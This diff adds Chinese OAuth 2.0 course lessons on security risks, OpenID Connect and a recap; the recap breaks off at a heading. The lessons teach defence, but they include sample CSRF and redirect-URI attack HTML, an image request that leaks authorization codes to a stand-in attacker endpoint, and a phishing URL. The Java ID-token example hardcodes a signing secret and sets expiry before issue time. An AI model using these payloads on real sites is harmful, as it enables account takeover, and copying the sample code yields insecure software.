+　　首先，OAuth 2.0 的确是一种安全协议。这没啥问题，但是它有很多使用规范，比如授权码是一个临时凭据只能被使用一次，要对重定向 URI 做校验等。那么，如果使用的时候你没有按照这样的规范来实施，就会有安全漏洞了。
+
+　　其次，OAuth 2.0 既然是“生长”在互联网这个大环境中，就一样会面对互联网上常见安全风险的攻击，比如跨站请求伪造（Cross-site request forgery，CSRF）、跨站脚本攻击（Cross Site Scripting，XSS）。
+
+　　最后，除了这些常见攻击类型外，OAuth 2.0 自身也有可被利用的安全漏洞，比如授权码失窃、重定向 URI 伪造。
+
+　　所以，我们在实践 OAuth 2.0 的过程中，安全问题一定是重中之重。接下来，我挑选了 5 个典型的安全问题，其中 CSRF、XSS、水平越权这三种是互联网环境下常见的安全风险，授权码失窃和重定向 URI 被篡改属于 OAuth2.0“专属”的安全风险。接下来，我就和你一起看看这些安全风险的由来，以及如何应对吧。
+
+CSRF 攻击
+
+　　对于 CSRF 的定义，《OAuth 2 in Action》这本书里的解释，是我目前看到的最为贴切的解释：恶意软件让浏览器向已完成用户身份认证的网站发起请求，并执行有害的操作，就是跨站请求伪造攻击。
+
+　　它是互联网上最为常见的攻击之一。我们在实践 OAuth2.0 的过程，其实就是在构建一次互联网的应用。因此，OAuth 2.0 同样也会面临这个攻击。接下来，我通过一个案例和你说明这个攻击类型。
+
+　　有一个软件 A，我们让它来扮演攻击者，让它的开发者按照正常的流程使用极客时间。当该攻击者授权后，拿到授权码的值 codeA 之后，“立即按下了暂停键”，不继续往下走了。那它想干啥呢，我们继续往下看。
+
+　　这时，有一个第三方软件 B，比如咱们的 Web 版极客时间，来扮演受害者吧。当然最终的受害者是用户，这里是用 Web 版极客时间来作为被软件 A 攻击的对象。
+
+　　极客时间用于接收授权码的回调地址为 https://time.geekbang.org/callback。有一个用户 G 已经在极客时间的平台登录，且对极客时间进行了授权，也就是用户 G 已经在极客时间平台上有登录态了。
+
+　　如果此时攻击者软件 A，在自己的网站上构造了一个恶意页面：
+
+<html>
+	<img src ="https://time.geekbang.org/callback？code=codeA">
+</html>
+
+
+　　如果这个时候用户 G 被攻击者软件 A 诱导而点击了这个恶意页面，那结果就是，极客时间使用 codeA 值去继续 OAuth 2.0 的流程了。这其实就走完了一个 CSRF 攻击的过程，如下图所示：
+
+　　
+
+　　图1 CSRF攻击过程
+
+　　如果我们将 OAuth 2.0 用于了身份认证，那么就会造成严重的后果，因为用户 G 使用的极客时间的授权上下文环境跟攻击者软件 A 的授权上下文环境绑定在了一起。为了解释两个上下文环境绑定在一起可能带来的危害，我们还是拿极客时间来举例。
+
+　　假如，极客时间提供了用户账号和微信账号做绑定的功能，也就是说用户先用自己的极客时间的账号登录，然后可以绑定微信账号，以便后续可以使用微信账号来登录。在绑定微信账号的时候，微信会咨询你是否给极客时间授权，让它获取你在微信上的个人信息。这时候，就需要用到 OAuth 2.0 的授权流程。
+
+　　如果攻击者软件 A，通过自己的极客时间账号事先做了上面的绑定操作，也就是说攻击者已经可以使用自己的微信账号来登录极客时间了。那有一天，软件 A 想要“搞事情”了，便在发起了一个授权请求后构造了一个攻击页面，里面包含的模拟代码正如我在上面描述的那样，来诱导用户 G 点击。
+
+　　而用户 G 已经用极客时间的账号登录了极客时间，此时正要去做跟微信账号的绑定。如果这个时候他刚好点击了攻击者 A“种下”的这个恶意页面，那么后面换取授权的访问令牌 access_token，以及通过 accces_token 获取的信息就都是攻击者软件 A 的了。
+
+　　这就相当于，用户 G 将自己的极客时间的账号跟攻击者软件 A 的微信账号绑定在了一起。这样一来，后续攻击者软件 A 就能够通过自己的微信账号，来登录用户 G 的极客时间了。这个后果可想而知。
+
+　　那如何避免这种攻击呢？方法也很简单，实际上 OAuth 2.0 中也有这样的建议，就是使用 state 参数，它是一个随机值的参数。
+
+　　还是以上面的场景为例，当极客时间请求授权码的时候附带一个自己生成 state 参数值，同时授权服务也要按照规则将这个随机的 state 值跟授权码 code 一起返回给极客时间。这样，当极客时间接收到授权码的时候，就要在极客时间这一侧做一个 state 参数值的比对校验，如果相同就继续流程，否则直接拒绝后续流程。
+
+　　在这样的情况下，软件 A 要想再发起 CSRF 攻击，就必须另外构造一个 state 值，而这个 state 没那么容易被伪造。这本就是一个随机的数值，而且在生成时就遵从了被“猜中”的概率要极小的建议。比如，生成一个 6 位字母和数字的组合值，显然要比生成一个 6 位纯数字值被“猜中”的概率要小。所以，软件 B 通过使用 state 参数，就实现了一个基本的防跨站请求伪造保护。
+
+　　我们再来总结下，这个攻击过程本质上就是，软件 A（攻击者）用自己的授权码 codeA 的值，通过 CSRF 攻击，“替换”了软件 B 的授权码的值。
+
+　　接下来，我再给你看一种互联网常见的安全攻击类型，也就是 XSS 攻击。
+
+XSS 攻击
+
+　　XSS 攻击的主要手段是将恶意脚本注入到请求的输入中，攻击者可以通过注入的恶意脚本来进行攻击行为，比如搜集数据等。截止到 2020 年 6 月 23 日，在 OWASP（一个开源的 Web 应用安全项目）上查看安全漏洞排名的话，它依然在TOP10榜单上面，可谓“大名鼎鼎”。
+
+　　网络上有很多关于 XSS 的介绍了，我推荐你看看《XSS 攻击原理分析与防御技术》这篇文章，它很清晰地分析了 XSS 的原理以及防御方法。今天，我们主要看看它是怎么在 OAuth 2.0 的流程中“发挥”的。
+
+　　当请求抵达受保护资源服务时，系统需要做校验，比如第三方软件身份合法性校验、访问令牌 access_token 的校验，如果这些信息都不能被校验通过，受保护资源服务就会返回错误的信息。
+
+　　
+
+　　图2 XSS攻击过程
+
+　　大多数情况下，受保护资源都是把输入的内容，比如 app_id invalid、access_token invalid ，再回显一遍，这时就会被 XSS 攻击者捕获到机会。试想下，如果攻击者传入了一些恶意的、搜集用户数据的 JavaScript 代码，受保护资源服务直接原路返回到用户的页面上，那么当用户触发到这些代码的时候就会遭受到攻击。
+
+　　因此，受保护资源服务就需要对这类 XSS 漏洞做修复，而具体的修复方法跟其它网站防御 XSS 类似，最简单的方法就是对此类非法信息做转义过滤，比如对包含、<img>、<a>等标签的信息进行转义过滤。
+
+　　CSRF 攻击、XSS 攻击是我从 OWASP 网站上挑选的两个最为熟知的两种攻击类型，它们应该是所有 Web 系统都需要共同防范的。我们在实施 OAuth 2.0 架构的时候，也一定要考虑到这层防护，否则就会给用户造成伤害。接下来，我再带着你了解一下水平越权攻击。
+
+水平越权
+
+　　水平越权是指，在请求受保护资源服务数据的时候，服务端应用程序未校验这条数据是否归属于当前授权的请求用户。这样不法者用自己获得的授权来访问受保护资源服务的时候，就有可能获取其他用户的数据，导致水平越权漏洞问题的发生。攻击者可越权的操作有增加、删除、修改和查询，无论更新操作还是查询操作都有相当的危害性。
+
+　　这么说可能有些抽象，我们看一个具体的例子。
+
+　　还是以我们的“小兔打单软件”为例，第三方开发者开发了这款打单软件，目前有两个商家 A 和商家 B 购买并使用。现在小兔打单软件上面提供了根据订单 ID 查询订单数据的功能，如下图所示。
+
+　　
+
+　　图3 水平越权发生场景
+
+　　商家 A 和商家 B 分别给小兔打单软件应用做了授权，也就是说，小兔打单软件可以获取商家 A 和商家 B 的订单数据。此时没有任何问题，那么商家 A 可以获取商家 B 的订单数据吗？答案是，极有可能的。
+
+　　在开放平台环境下，授权关系的校验是由一般由开放网关这一层来处理，因为受保护资源服务会散落在各个业务支持部门。请求数据通过开放网关之后由访问令牌 access_token 获取了用户的身份，比如商家 ID，就会透传到受保护资源服务，也就是上游接口提供方的系统。
+
+　　此时，如果受保护资源服务没有对商家 ID 和订单 ID 做归属判断，就有可能发生商家 A 获取商家 B 订单数据的问题，造成水平越权问题。
+
+　　
+
+　　图4 水平越权示例图
+
+　　发生水平越权问题的根本原因，还是开发人员的认知与意识不够。如果认知与意识跟得上，那在设计之初增加归属关系判断，比如上面提到的订单 ID 和商家 ID 的归属关系判断，就能在很大程度上避免这个漏洞。
+
+　　同时，在开放平台环境下，由于开放网关和数据接口提供方来自不同的业务部门，防止水平校验的逻辑处理很容易被遗漏：
+
+　　一方面，开放网关的作用是将用户授权之后的访问令牌 access_token 信息转换成真实的用户信息，比如上面提到的商家 ID，然后传递到接口提供方，数据归属判断逻辑只能在接口提供方内部处理；
+
+　　另一方面，数据提供方往往会认为开放出的接口是被“跟自己一个公司的系统所调用的”，容易忽略水平校验的逻辑处理。
+
+　　所以，在开放平台环境下，我们就要更加重视与防范数据的越权问题。
+
+　　以上，CSRF 攻击、XSS 攻击、水平越权这三种攻击类型，它们都属于 OAuth 2.0 面临的互联网非常常见的通用攻击类型。而对于其他的互联网攻击类型，如果你想深入了解的话，可以看一下这篇安全案例回顾的文章。
+
+　　接下来，我们再看两种 OAuth 2.0 专有的安全攻击，分别是授权码失窃、重定向 URI 被篡改。
+
+授权码失窃
+
+　　我们举个例子，先来学习授权码失窃这个场景。
+
+　　如果第三方软件 A 有合法的 app_id 和 app_secret，那么当它去请求访问令牌的时候，也是合法的。这个时候没有任何问题，让我们继续。
+
+　　如果有一个用户 G 对第三方软件 B，比如极客时间，进行授权并产生了一个授权码 codeB，但并没有对攻击者软件 A 授权。此时，软件 A 是不能访问用户 G 的所有数据的。但这时，如果软件 A 获取了这个 codeB，是不是就能够在没有获得用户 G 授权的情况下访问用户 G 的数据了？整个过程如下图所示。
+
+　　
+
+　　图5 授权码失窃攻击过程
+
+　　这时问题的根源就在于两点：
+
+　　授权服务在进行授权码校验的时候，没有校验 app_id_B；
+
+　　软件 B（也就是极客时间）使用过一次 codeB 的值之后，授权服务没有删除这个 codeB；
+
+　　看到这里，通过校验 app_id_B，并删除掉使用过一次的授权码及其对应的访问令牌，就可以从根本上来杜绝授权码失窃带来的危害了。
+
+　　说到这里，你不禁要问了，授权码到底是怎么失窃的呢？接下来，我要介绍的就是授权码失窃的可能的方法之一，这也是 OAuth 2.0 中因重定向 URI 校验方法不当而遭受到的一种危害。这种安全攻击类型，就是重定向 URI 被篡改。
+
+重定向 URI 被篡改
+
+　　有的时候，授权服务提供方并没有对第三方软件的回调 URI 做完整性要求和完整性校验。比如，第三软件 B 极客时间的详细回调 URI 是https://time.geekbang.org/callback，那么在完整性校验缺失的情况下，只要以https://time.geekbang.org开始的回调 URI 地址，都会被认为是合法的。
+
+　　此时，如果黑客在https://time.geekbang.org/page/下，创建了一个页面 hacker.html。这个页面的内容可以很简单，其目的就是让请求能够抵达攻击者的服务。
+
+<html>
+	<img src ="https://clientA.com/catch">
+</html>
+
+
+　　好了，我们继续看下接下来的攻击流程：
+
+　　
+
+　　图6 重定向URI被篡改的攻击过程
+
+　　首先，黑客将构造的攻击页面放到对应的 hacker.html 上，也就是https://time.geekbang.org/page/hacker.html上 ，同时构造出了一个新的重定向 URI，即https://time.geekbang.org/page/welcome/back.html../hacker.html。
+
+　　然后，黑客利用一些钓鱼手段诱导用户，去点击下面的这个地址：
+
+https://oauth-server.com/auth?respons_type=code&client_id=CLIENTID&redirect_uri=https://time.geekbang.org/page/welcome/back.html../hacker.html
+
+
+　　这样当授权服务做出响应进行重定向请求的时候，授权码 code 就返回到了 hacker.html 这个页面上。
+
+　　最后，黑客在https://clientA.com/catch页面上，解析 Referrer 头部就会得到用户的授权码，继而就可以像授权码失窃的场景中那样去换取访问令牌了。
+
+　　看到这里我们就知道了，如果授权服务要求的回调 URI 是https://time.geekbang.org/callback，并做了回调 URI 的完整性校验，那么被篡改之后的回调地址https://time.geekbang.org/page/welcome/back.html../hacker.html就不会被授权服务去发起重定向请求。
+
+　　严格来讲，要发生这样的漏洞问题，条件还是比较苛刻的。从图 6 的重定向 URI 被篡改的流程中，也可以看到，只要我们在授权服务验证第三方软件的请求时做了签名校验，那么攻击者在只拿到授权码 code 的情况下，仍然无法获取访问令牌，因为第三方软件只有通过访问令牌才能够访问用户的数据。
+
+　　但是，如果这些防范安全风险的规范建议你通通都没有遵守，那就是在给攻击者“大显身手”的机会，让你的应用软件以及用户遭受损失。
+
+总结
+
+　　好了，以上就是今天的主要内容了。我们一起学习了 OAuth 2.0 相关的常见又比较隐蔽的 5 种安全问题，包括 CSRF 攻击、XSS 攻击、水平越权、授权码失窃、重定向 URI 被篡改。更多关于 OAuth 2.0 安全方面的内容，你也可以去翻阅《OAuth 2 in Action》这本书。
+
+　　通过这一讲的学习，你需要记住以下三个知识点：
+
+　　互联网场景的安全攻击类型比如 CSRF、XSS 等，在 OAuth 2.0 中一样要做防范，因为 OAuth 2.0 本身就是应用在互联网场景中。
+
+　　除了常见的互联网安全攻击，OAuth 2.0 也有自身的安全风险问题，比如我们讲到的授权码失窃、重定向 URI 被篡改。
+
+　　这些安全问题，本身从攻击的“技术含量”上并不高，但导致这些安全风险的因素，往往就是开发人员的安全意识不够。比如，没有意识到水平越权中的数据归属逻辑判断，需要加入到代码逻辑中。
+
+　　其实，OAuth 2.0 的规范里面对这些安全问题都有对应的规避方式，但都要求我们使用的时候一定要非常严谨。比如，重定向 URI 的校验方式，规范里面是允许模糊校验的，但在结合实际环境的时候，我们又必须做到精确匹配校验才可以保障 OAuth 2.0 流转的安全性。
+
+　　最后，我还整理了一张知识脑图，总结了这 5 种攻击方式的内容，来帮助你理解与记忆。
+
+　　
+
+思考题
+
+　　今天我们讲的这些安全问题，都是站在“守”的一方，并没有告诉你如何 “绞尽脑汁” 地利用漏洞。所谓“知己知彼，百战不殆”，现在你站在“攻”的一方来考虑下，除了重定向 URI 被篡改，还有什么其它的授权码被盗的场景吗？
+
+　　你认为还有哪些安全风险，是专属于 OAuth 2.0 的吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/09实战：利用OAuth2.0实现一个OpenIDConnect用户身份认证协议..md

@@ -0,0 +1,194 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            09 实战：利用OAuth 2.0实现一个OpenID Connect用户身份认证协议.
+                            　　你好，我是王新栋。
+
+　　如果你是一个第三方软件开发者，在实现用户登录的逻辑时，除了可以让用户新注册一个账号再登录外，还可以接入微信、微博等平台，让用户使用自己的微信、微博账号去登录。同时，如果你的应用下面又有多个子应用，还可以让用户只登录一次就能访问所有的子应用，来提升用户体验。
+
+　　这就是联合登录和单点登录了。再继续深究，它们其实都是 OpenID Connect（简称 OIDC）的应用场景的实现。那 OIDC 又是什么呢？
+
+　　今天，我们就来学习下 OIDC 和 OAuth 2.0 的关系，以及如何用 OAuth 2.0 来实现一个 OIDC 用户身份认证协议。
+
+OIDC 是什么？
+
+　　OIDC 其实就是一种用户身份认证的开放标准。使用微信账号登录极客时间的场景，就是这种开放标准的实践。
+
+　　说到这里，你可能要发问了：“不对呀，使用微信登录第三方 App 用的不是 OAuth 2.0 开放协议吗，怎么又扯上 OIDC 了呢？”
+
+　　没错，用微信登录某第三方软件，确实使用的是 OAuth 2.0。但 OAuth2.0 是一种授权协议，而不是身份认证协议。OIDC 才是身份认证协议，而且是基于 OAuth 2.0 来执行用户身份认证的互通协议。更概括地说，OIDC 就是直接基于 OAuth 2.0 构建的身份认证框架协议。
+
+　　换种表述方式，OIDC= 授权协议 + 身份认证，是 OAuth 2.0 的超集。为方便理解，我们可以把 OAuth 2.0 理解为面粉，把 OIDC 理解为面包。这下，你是不是就理解它们的关系了？因此，我们说“第三方 App 使用微信登录用到了 OAuth 2.0”没有错，说“使用到了 OIDC”更没有错。
+
+　　考虑到单点登录、联合登录，都遵循的是 OIDC 的标准流程，因此今天我们就讲讲如何利用 OAuth2.0 来实现一个 OIDC，“高屋建瓴” 地去看问题。掌握了这一点，我们再去做单点登录、联合登录的场景，以及其他更多关于身份认证的场景，就都不再是问题了。
+
+OIDC 和 OAuth 2.0 的角色对应关系
+
+　　说到“如何利用 OAuth 2.0 来构建 OIDC 这样的认证协议”，我们可以想到一个切入点，这个切入点就是 OAuth 2.0 的四种角色。
+
+　　OAuth 2.0 的授权码许可流程的运转，需要资源拥有者、第三方软件、授权服务、受保护资源这 4 个角色间的顺畅通信、配合才能够完成。如果我们要想在 OAuth 2.0 的授权码许可类型的基础上，来构建 OIDC 的话，这 4 个角色仍然要继续发挥 “它们的价值”。那么，这 4 个角色又是怎么对应到 OIDC 中的参与方的呢？
+
+　　那么，我们就先想想一个关于身份认证的协议框架，应该有什么角色。你可能已经想出来了，它需要一个登录第三方软件的最终用户、一个第三方软件，以及一个认证服务来为这个用户提供身份证明的验证判断。
+
+　　没错，这就是 OIDC 的三个主要角色了。在 OIDC 的官方标准框架中，这三个角色的名字是：
+
+　　EU（End User），代表最终用户。
+
+　　RP（Relying Party），代表认证服务的依赖方，就是上面我提到的第三方软件。
+
+　　OP（OpenID Provider），代表提供身份认证服务方。
+
+　　EU、RP 和 OP 这三个角色对于 OIDC 非常重要，我后面也会时常使用简称来描述，希望你能先记住。
+
+　　现在很多 App 都接入了微信登录，那么微信登录就是一个大的身份认证服务（OP）。一旦我们有了微信账号，就可以登录所有接入了微信登录体系的 App（RP），这就是我们常说的联合登录。
+
+　　现在，我们就借助极客时间的例子，来看一下 OAuth 2.0 的 4 个角色和 OIDC 的 3 个角色之间的对应关系：
+
+　　
+
+　　图1 OAuth 2.0和OIDC的角色对应关系
+
+OIDC 和 OAuth 2.0 的关键区别
+
+　　看到这张角色对应关系图，你是不是有点 “恍然大悟” 的感觉：要实现一个 OIDC 协议，不就是直接实现一个 OAuth 2.0 协议吗。没错，我在这一讲的开始也说了，OIDC 就是基于 OAuth 2.0 来实现的一个身份认证协议框架。
+
+　　我再继续给你画一张 OIDC 的通信流程图，你就更清楚 OIDC 和 OAuth 2.0 的关系了：
+
+　　
+
+　　图2 基于授权码流程的OIDC通信流程
+
+　　可以发现，一个基于授权码流程的 OIDC 协议流程，跟 OAuth 2.0 中的授权码许可的流程几乎完全一致，唯一的区别就是多返回了一个 ID_TOKEN，我们称之为 ID 令牌。这个令牌是身份认证的关键。所以，接下来我就着重和你讲一下这个令牌，而不再细讲 OIDC 的整个流程。
+
+OIDC 中的 ID 令牌生成和解析方法
+
+　　在图 2 的 OIDC 通信流程的第 6 步，我们可以看到 ID 令牌（ID_TOKEN）和访问令牌（ACCESS_TOKEN）是一起返回的。关于为什么要同时返回两个令牌，我后面再和你分析。我们先把焦点放在 ID 令牌上。
+
+　　我们知道，访问令牌不需要被第三方软件解析，因为它对第三方软件来说是不透明的。但 ID 令牌需要能够被第三方软件解析出来，因为第三方软件需要获取 ID 令牌里面的内容，来处理用户的登录态逻辑。
+
+　　那 ID 令牌的内容是什么呢？
+
+　　首先，ID 令牌是一个 JWT 格式的令牌。你可以到[第 4 讲]中复习下 JWT 的相关内容。这里需要强调的是，虽然 JWT 令牌是一种自包含信息体的令牌，为将其作为 ID 令牌带来了方便性，但是因为 ID 令牌需要能够标识出用户、失效时间等属性来达到身份认证的目的，所以要将其作为 OIDC 的 ID 令牌时，下面这 5 个 JWT 声明参数也是必须要有的。
+
+　　iss，令牌的颁发者，其值就是身份认证服务（OP）的 URL。
+
+　　sub，令牌的主题，其值是一个能够代表最终用户（EU）的全局唯一标识符。
+
+　　aud，令牌的目标受众，其值是三方软件（RP）的 app_id。
+
+　　exp，令牌的到期时间戳，所有的 ID 令牌都会有一个过期时间。
+
+　　iat，颁发令牌的时间戳。
+
+　　生成 ID 令牌这部分的示例代码如下：
+
+　　String id_token=genrateIdToken(appId,user);
+　　private String genrateIdToken(String appId,String user){
+　　    String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";
+　　    Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
+　　            SignatureAlgorithm.HS256.getJcaName());
+　　  
+       Map<String, Object> headerMap = new HashMap<>();
+　　    headerMap.put("typ", "JWT");
+　　    headerMap.put("alg", "HS256");
+
+　　    Map<String, Object> payloadMap = new HashMap<>();
+　　    payloadMap.put("iss", "http://localhost:8081/");
+　　    payloadMap.put("sub", user);
+　　    payloadMap.put("aud", appId);
+　　    payloadMap.put("exp", 1584105790703L);
+　　    payloadMap.put("iat", 1584105948372L);
+　　    return Jwts.builder().setHeaderParams(headerMap).setClaims(payloadMap).signWith(key,SignatureAlgorithm.HS256).compact();
+　　}
+
+
+　　接下来，我们再看看处理用户登录状态的逻辑是如何处理的。
+
+　　你可以先试想一下，如果 “不跟 OIDC 扯上关系”，也就是 “单纯” 构建一个用户身份认证登录系统，我们是不是得保存用户登录的会话关系。一般的做法是，要么放在远程服务器上，要么写进浏览器的 cookie 中，同时为会话 ID 设置一个过期时间。
+
+　　但是，当我们有了一个 JWT 这样的结构化信息体的时候，尤其是包含了令牌的主题和过期时间后，不就是有了一个“天然”的会话关系信息么。
+
+　　所以，依靠 JWT 格式的 ID 令牌，就足以让我们解决身份认证后的登录态问题。这也就是为什么在 OIDC 协议里面要返回 ID 令牌的原因，ID 令牌才是 OIDC 作为身份认证协议的关键所在。
+
+　　那么有了 ID 令牌后，第三方软件应该如何解析它呢？接下来，我们看一段解析 ID 令牌的具体代码，如下：
+
+　　private Map<String,String> parseJwt(String jwt){
+　　        String sharedTokenSecret="hellooauthhellooauthhellooauthhellooauth";
+　　        Key key = new SecretKeySpec(sharedTokenSecret.getBytes(),
+　　                SignatureAlgorithm.HS256.getJcaName());
+
+　　        Map<String,String> map = new HashMap<String, String>();
+　　        Jws<Claims> claimsJws = Jwts.parserBuilder().setSigningKey(key).build().parseClaimsJws(jwt);
+　　        Claims body = claimsJws.getBody();
+　　        map.put("sub",body.getSubject());
+　　        map.put("aud",body.getAudience());
+　　        map.put("iss",body.getIssuer());
+　　        map.put("exp",String.valueOf(body.getExpiration().getTime()));
+　　        map.put("iat",String.valueOf(body.getIssuedAt().getTime()));
+　　        return map;
+　　    }
+
+
+　　需要特别指出的是，第三方软件解析并验证 ID 令牌的合法性之后，不需要将整个 JWT 信息保存下来，只需保留 JWT 中的 PAYLOAD（数据体）部分就可以了。因为正是这部分内容，包含了身份认证所需要的用户唯一标识等信息。
+
+　　另外，在验证 JWT 合法性的时候，因为 ID 令牌本身已经被身份认证服务（OP）的密钥签名过，所以关键的一点是合法性校验时需要做签名校验。具体的加密方法和校验方法，你可以回顾下[第 4 讲]。
+
+　　这样当第三方软件（RP）拿到 ID 令牌之后，就已经获得了处理身份认证标识动作的信息，也就是拿到了那个能够唯一标识最终用户（EU）的 ID 值，比如 3521。
+
+用访问令牌获取 ID 令牌之外的信息
+
+　　但是，为了提升第三方软件对用户的友好性，在页面上显示 “您好，3521” 肯定不如显示 “您好，小明同学”的体验好。这里的 “小明同学”，恰恰就是用户的昵称。
+
+　　那如何来获取“小明同学”这个昵称呢。这也很简单，就是通过返回的访问令牌 access_token 来重新发送一次请求。当然，这个流程我们现在也已经很熟悉了，它属于 OAuth 2.0 标准流程中的请求受保护资源服务的流程。
+
+　　这也就是为什么在 OIDC 协议里面，既给我们返回 ID 令牌又返回访问令牌的原因了。在保证用户身份认证功能的前提下，如果想获取更多的用户信息，就再通过访问令牌获取。在 OIDC 框架里，这部分内容叫做创建 UserInfo 端点和获取 UserInfo 信息。
+
+　　这样看下来，细粒度地去看 OIDC 的流程就是：生成 ID 令牌 -> 创建 UserInfo 端点 -> 解析 ID 令牌 -> 记录登录状态 -> 获取 UserInfo。
+
+　　好了，利用 OAuth 2.0 实现一个 OIDC 框架的工作，我们就做完了。你可以到GitHub上查看这些流程的完整代码。现在，我再来和你小结下。
+
+　　用 OAuth 2.0 实现 OIDC 的最关键的方法是：在原有 OAuth 2.0 流程的基础上增加 ID 令牌和 UserInfo 端点，以保障 OIDC 中的第三方软件能够记录用户状态和获取用户详情的功能。
+
+　　因为第三方软件可以通过解析 ID 令牌的关键用户标识信息来记录用户状态，同时可以通过 Userinfo 端点来获取更详细的用户信息。有了用户态和用户信息，也就理所当然地实现了一个身份认证。
+
+　　接下来，我们就具体看看如何实现单点登录（Single Sign On，SSO）。
+
+单点登录
+
+　　一个用户 G 要登录第三方软件 A，A 有三个子应用，域名分别是 a1.com、a2.com、a3.com。如果 A 想要为用户提供更流畅的登录体验，让用户 G 登录了 a1.com 之后也能顺利登录其他两个域名，就可以创建一个身份认证服务，来支持 a1.com、a2.com 和 a3.com 的登录。
+
+　　这就是我们说的单点登录，“一次登录，畅通所有”。
+
+　　那么，可以使用 OIDC 协议标准来实现这样的单点登录吗？我只能说 “太可以了”。如下图所示，只需要让第三方软件（RP）重复我们 OIDC 的通信流程就可以了。
+
+　　
+
+　　图3 单点登录的通信流程
+
+　　你看，单点登录就是 OIDC 的一种具体应用方式，只要掌握了 OIDC 框架的原理，实现单点登录就不在话下了。关于单点登录的具体实现，在 GitHub 上搜索“通过 OIDC 来实现单点登录”，你就可以看到很多相关的开源内容。
+
+总结
+
+　　在一些较大的、已经具备身份认证服务的平台上，你可能并没有发现 OIDC 的描述，但大可不必纠结。有时候，我们可能会困惑于，到底是先有 OIDC 这样的标准，还是先有类似微信登录这样的身份认证实现方式呢？
+
+　　其实，要理解这层先后关系，我们可以拿设计模式来举例。当你想设计一个较为松耦合、可扩展的系统时，即使没有接触过设计模式，通过不断地尝试修改后，也会得出一个逐渐符合了设计模式那样“味道”的代码架构思路。理解 OIDC 解决身份认证问题的思路，也是同样的道理。
+
+　　今天，我们在 OAuth2.0 的基础上实现了一个 OIDC 的流程，我希望你能记住以下两点。
+
+　　OAuth 2.0 不是一个身份认证协议，请一定要记住这点。身份认证强调的是“谁的问题”，而 OAuth2.0 强调的是授权，是“可不可以”的问题。但是，我们可以在 OAuth2.0 的基础上，通过增加 ID 令牌来获取用户的唯一标识，从而就能够去实现一个身份认证协议。
+
+　　有些 App 不想非常麻烦地自己设计一套注册和登录认证流程，就会寻求统一的解决方案，然后势必会出现一个平台来收揽所有类似的认证登录场景。我们再反过来理解也是成立的。如果有个拥有海量用户的、大流量的访问平台，来提供一套统一的登录认证服务，让其他第三方应用来对接，不就可以解决一个用户使用同一个账号来登录众多第三方 App 的问题了吗？而 OIDC，就是这样的登录认证场景的开放解决方案。
+
+　　说到这里，你是不是对 OIDC 理解得更透彻了呢？好了，让我们看看今天我为了大家留了什么思考题吧。
+
+思考题
+
+　　如果你自己通过 OAuth 2.0 来实现一个类似 OIDC 的身份认证协议，你觉得需要注意哪些事项呢？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/10串讲：OAuth2.0的工作流程与安全问题.md

@@ -0,0 +1,101 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            10 串讲：OAuth 2.0的工作流程与安全问题
+                            　　你好，我是王新栋。
+
+　　今天这一讲，我并不打算带你去解决新的什么问题，而是把我们已经讲过的内容再串一遍，就像学生时代每个学期即将结束时的一次串讲，来 “回味”下 OAuth 2.0 的整个知识体系。当然了，我也会在这个过程中，与你分享我在实践 OAuth 2.0 的过程中，积累的最值得分享的经验。
+
+　　好，接下来就让我们先串一串 OAuth 2.0 的工作流程吧。
+
+OAuth 2.0 工作流程串讲
+
+　　
+
+　　我们一直在讲 OAuth 2.0 是一种授权协议，这种协议可以让第三方软件代表用户去执行被允许的操作。那么，第三方软件就需要向用户索取授权来获得那个令牌。
+
+　　我们回想下[第 1 讲]拜访百度王总的例子。只有拿到前台小姐姐给你的门禁卡，你才能够进入百度大楼。这个过程就相当于前台小姐姐给你做了一次授权，而这个授权的凭证就是门禁卡。对应到我们的系统中，门禁卡便相当于访问令牌。
+
+　　通过“代表”“授权”这样的关键词，我们可以认识到，OAuth 2.0 是一个授权协议，也是一个安全协议。那么，如果我说它也是一种委托协议，你也不要吃惊。
+
+　　试想一下，用户在微信平台上有修改昵称、修改头像、修改个人兴趣的权限，当第三方软件请求让自己代表用户来操作这些权限的时候，就是第三方软件请求用户把这些权限委托给自己，用户在批准了委托请求之后，才可以代表用户去执行这些操作。
+
+　　这时，我们细想一下，委托才是 OAuth 2.0 授权概念的根基，因为没有“委托”之意就不会有“代表”行为的发生。
+
+　　在整个课程讲述授权的过程中，我频繁举例和强调的就是授权码许可流程。在学习授权码流程的时候，你最困惑的一点恐怕莫过于 “为什么要多此一举，非得通过一个授权码 code 来换取访问令牌 access_token”了吧。这个问题我在讲[02讲]时也做过分析了，你现在回想起来应该不会再为此“痛苦不堪” 了吧。
+
+　　我们再来分析下，第三方软件要获取访问令牌，只能通过两个渠道：
+
+　　一个渠道是第三方软件的前端页面。但是，如果直接返回到前端页面上，访问令牌是很容易被通过浏览器截获的，所以显然不可取。
+
+　　另外一个渠道是通过后端传输。第三方软件的后端和授权服务的后端之间通信，这样就可以避免令牌被直接暴露的问题。
+
+　　再往深了想，第三方软件的后端总不能向授权服务的后端 “硬要” 吧，总要告诉授权服务是要哪个用户的 access_token 吧，所以还需要用户的参与。
+
+　　用户一旦参与进来，访问的第一个页面是第三方软件，用户要授权，第三方软件就需要把用户引导到授权服务页面。但这个时候，用户就跟第三方软件之间没有任何“通信连接”了。如果授权服务通过后端通信直接将令牌给了第三方软件的后端，那第三方软件该如何通知用户呢，恐怕就不太好实现了。
+
+　　这种情况下就很巧妙地引入了授权码 code：先把 code 通过重定向返回到第三方软件的页面；第三方软件通过浏览器获取到 code 后，再通过后端通信换取 access_token；待拿到 token 之后，由于此时用户已经在第三方软件的服务上，所以可以很容易地通知到用户。
+
+　　以上，就是授权码许可的整体工作流程了。我们说，这是 OAuth 2.0 授权体系中最完备的流程，其他的授权许可类型，比如资源拥有者凭据许可、客户端凭据许可、隐式许可，都是以此为基础。因此，只要你能理解授权码许可的流程，也就掌握了整个 OAuth 2.0 中所有许可类型的运转机制，在实际工作场景中用上 OAuth 2.0 将不再是问题。
+
+OAuth 2.0 安全问题串讲
+
